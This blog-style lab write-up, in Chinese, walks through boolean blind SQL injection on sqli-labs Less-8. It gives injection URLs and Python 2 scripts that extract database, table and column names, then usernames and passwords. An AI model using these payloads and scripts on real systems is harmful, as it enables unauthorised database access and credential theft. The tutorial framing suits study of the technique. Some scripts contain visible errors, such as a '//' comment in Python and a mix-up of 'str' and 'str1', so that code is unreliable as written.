Bool盲注详解 Sqli-labs(Less 8)

前篇write up介绍了Less8的上传木马,连接菜刀的做法;那这次记录下这题关于盲注的做法;先来简单介绍下盲注。

何为盲注?盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。盲注主要分为三类

  • 基于布尔的 SQL 盲注
  • 基于时间的 SQL 盲注
  • 基于报错的 SQL 盲注

那这题呢就先介绍下使用bool型盲注吧。(也可以用时间的盲注,报错注入是不行的,因为报错信息被注释了)
在这里插入图片描述
先了解下盲注常用的几个函数:

  • database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位
  • substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。
  • mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位
  • length()函数可返回字符串的长度
  • Ascii()将某个字符转换为 ascii 值
  • char()函数可将ASCII码转换为对应的字符

好,知道了这些就去实战试试吧。

Less-8 布尔型单引号GET盲注
Bool盲注详解 Sqli-labs(Less 8)_第1张图片
题目提示了为单引号注入,测试下
Bool盲注详解 Sqli-labs(Less 8)_第2张图片
加单引号报错,加上注释符回显正常,闭合方式确实是'
1)利用 left(database(),1)进行尝试

127.0.0.1/sqli-labs-master/Less-8?id=1' and left(version(),1)=5 %23

查看一下 version(),数据库的版本号为 5.6.17,这里的语句的意思是看版本号的第一位是
不是 5,显然 返回的结果是正确的。
Bool盲注详解 Sqli-labs(Less 8)_第3张图片
2)接下来看一下数据库的长度
127.0.0.1/sqli-labs-master/Less-8?id=1'and length(database())=8 %23
Bool盲注详解 Sqli-labs(Less 8)_第4张图片
长度为 8 时,返回正确结果,说明长度为 8;这里说明下,长度要一个一个的试,我这里是验证下,在要爆信息不多的情况下可以手动试试(二分法可以提高很多效率),太多的话就建议用脚本,或者用burp 爆破。后面会为大家展示╰( ̄ω ̄o)
3)猜数据库名字
首先猜测数据库第一位,这里使用了left函数 left(a,b),返回a字符串靠左至b位数,详细看下面用法
127.0.0.1/sqli-labs-master/Less-8?id=1'and left(database(),1)>'a' --+
Bool盲注详解 Sqli-labs(Less 8)_第5张图片
Database()为 security,所以我们看他的第一位是否 > a,很明显的是 s > a,因此返回正确。当
我们不知情的情况下,可以用二分法来提高注入的效率。
继续爆第二位的话,代码如下:

127.0.0.1/sqli-labs-master/Less-8?id=1'and left(database(),2)>'sa'--+

Bool盲注详解 Sqli-labs(Less 8)_第6张图片
然后第三位,第四位… 很麻烦,正经人谁用这啊,你用吗,反正我不用(手动滑稽)
这里还可以构造这样的命令 猜解数据库第一位 :
127.0.0.1/sqli-labs-master/Less-8 ?id=1' and ascii(substr((database()),1,1)) >80--+
第二位:
127.0.0.1/sqli-labs-master/Less-8 ?id=1' and ascii(substr((database()),2,1)) >80 --+

格式就是这样,但这样的效率真的很…下面就演示下使用脚本盲注和burp爆破。╰( ̄ω ̄o)

大佬的脚本(目前还不会写╯︿╰) 爆数据库 :

# -*- coding:utf8 -*-
import requests
url = 'http://localhost/sqli-labs-master/sqli-labs-master/Less-8/?id=1%27'  # 这个url要对应你自己的url
payload = " and%20left({d}(),{n})=%27{s}%27%20--%20k"
# 上面两个可以合并为一个,但没有必要,(本来就是我拆开的)
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
         'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']  # 字典
str1 = "You are in..........."  # 就是通过返回的页面里有没有这个字符串来判断盲注有没有成功
# 开始对比database()
database = ''
for i in range(1, 10):  # 相当于C语言的for循环1~9 其实这里应该先判断database有多长的
    for ss in list1:  # 相当于for循环遍历list,然后把每一项赋值给ss
        p = payload.format(d='database', n=i, s=database+ss)  # 把payload里的{d},{n},{s}赋值
        u = requests.get(url+p)  # 访问网页
        # print p
        if str1 in u.content:  # 如果str在网页内容里面
            database += ss
            print u"正在对比database第", i, u"个字符",
            print database
            break
print u"对比成功,database为:", database
# 开始对比user()#user也是同理
user = ''
for i in range(1, 20):
    for ss in list1:
        p = payload.format(d='user', n=i, s=user+ss)
        u = requests.get(url+p)
        # print p
        if str in u.content:
            user += ss
            print u"正在对比user第", i, u"个字符",
            print user
            break
print u"对比成功,user为:", user
print u"database-->", database
print u"user-->", user
a = raw_input()

爆破成功
Bool盲注详解 Sqli-labs(Less 8)_第7张图片
接下来猜解表

# -*- coding:utf8 -*-
import requests
url = 'http://127.0.0.1/sqli-labs-master/Less-8?id=1%27'
payload = 'and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=' \
          'database()%20limit%20{t},1),{w},1))={A}%20--%20k'
# 我把上面的substr改成了substring按理说mysql里substring和substr是一样的但是如果出错了记得改回substr
list1 = [64, 94, 96, 124, 176, 40, 41, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 173, 175, 95, 65, 66, 67, 68, 69, 70, 71,
         72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 97, 98, 99, 100, 101, 102, 103,
         104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 44]
str1 = "You are in..........."
tables1 = ''
tables2 = ''
tables3 = ''
tables4 = ''
for i in range(0, 4):   //这里要视情况而定,表的数量不定
    for j in range(1, 10):
        for s in list1:
            p = payload.format(t=i, w=j, A=s)
            u = requests.get(url+p)
            if str1 in u.content:
                if i == 0:
                    tables1 += chr(s)
                    print u"正在对比第1个表,", u"第", j, u"个字符",tables1
                elif i == 1:
                    tables2 += chr(s)
                    print u"正在对比第2个表,", u"第", j, u"个字符", tables2
                elif i == 2:
                    tables3 += chr(s)
                    print u"正在对比第3个表,", u"第", j, u"个字符", tables3
                elif i == 3:
                    tables4 += chr(s)
                    print u"正在对比第4个表,", u"第", j, u"个字符", tables4
                    break
print 'tables1-->', tables1
print 'tables2-->', tables2
print 'tables3-->', tables3
print 'tables4-->', tables4
a = raw_input()

Bool盲注详解 Sqli-labs(Less 8)_第8张图片
然后盲注users的字段名:

# -*- coding:utf8 -*-
import requests
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 
         'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '-', '|', '_', 'A', 'B', 'C', 
         'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 
         'Z', '.']  # 字典
url = 'http://127.0.0.1/sqli-labs-master/Less-8?id=1%27'
payload = '%20and%20left((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security' \
          '%27%20and%20table_name=%27users%27%20limit%20{w},1),{n})=%27{c}%27%20--%20k'
# payload其实就是url的后半部分,也是盲注的关键代码,也可以和url变量合并
column = ['', '', '', '', '']
str = 'You are in...........'
# 以上四个变量就是与本次盲注相关的变量了
for j in range(0, 3):
    for i in range(1, 9):
        for l in list1:
            p = payload.format(w=j, n=i, c=column[j]+l)
            u = requests.get(url+p)
            if str in u.content:
                column[j] += l
                print u'正在对比第', j+1, u'个字段第', i, u'个字符', column[j]
                break
for c in range(0, 5):
    print 'column', c+1, '-->', column[c]
a = raw_input()

Bool盲注详解 Sqli-labs(Less 8)_第9张图片
最后就是查看数据了

# -*- coding:utf8 -*-
import requests
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 
         'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '-', '|', '_', 'A', 'B', 'C', 
         'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 
         'Z', '.']  # 字典
url = 'http://127.0.0.1/sqli-labs-master/Less-8?id=1%27'
payload = '%20and%20left((select%20username%20from%20users%20where%20id%20={n}),{w})=%27{d}%27%20--%20k'
str = 'You are in...........'
username = ['', '', '', '', '', '', '', '', '', '', '', '', '', '']
password = ['', '', '', '', '', '', '', '', '', '', '', '', '', '']
for i in range(1, 15):
    for j in range(1, 11):
        for l in list1:
            p = payload.format(n=i, w=j, d=username[i-1]+l)
            u = requests.get(url+p)
            if str in u.content:
                username[i-1] += l
                print u'正在对比第', i, u'个记录的username的第', j, u'个字符', username[i-1]
payload2 = '%20and%20left((select%20password%20from%20users%20where%20id%20={n}),{w})=%27{d}%27%20--%20k'
for i in range(1, 15):
    for j in range(1, 11):
        for l in list1:
            p = payload2.format(n=i, w=j, d=password[i-1]+l)
            u = requests.get(url+p)
            if str1 in u.content:
                password[i-1] += l
                print u'正在对比第', i, u'个记录的password的第', j, u'个字符', password[i-1]
print 'id    username    password'
for i in range(1, 15):
    print i, '-', username[i-1], '-', password[i-1]
a = raw_input()

Bool盲注详解 Sqli-labs(Less 8)_第10张图片
Bool盲注详解 Sqli-labs(Less 8)_第11张图片
使用脚本盲注基本就是这些了,关于burp爆破就过段时间在写吧。(●’◡’●)

你可能感兴趣的:(Bool盲注详解 Sqli-labs(Less 8))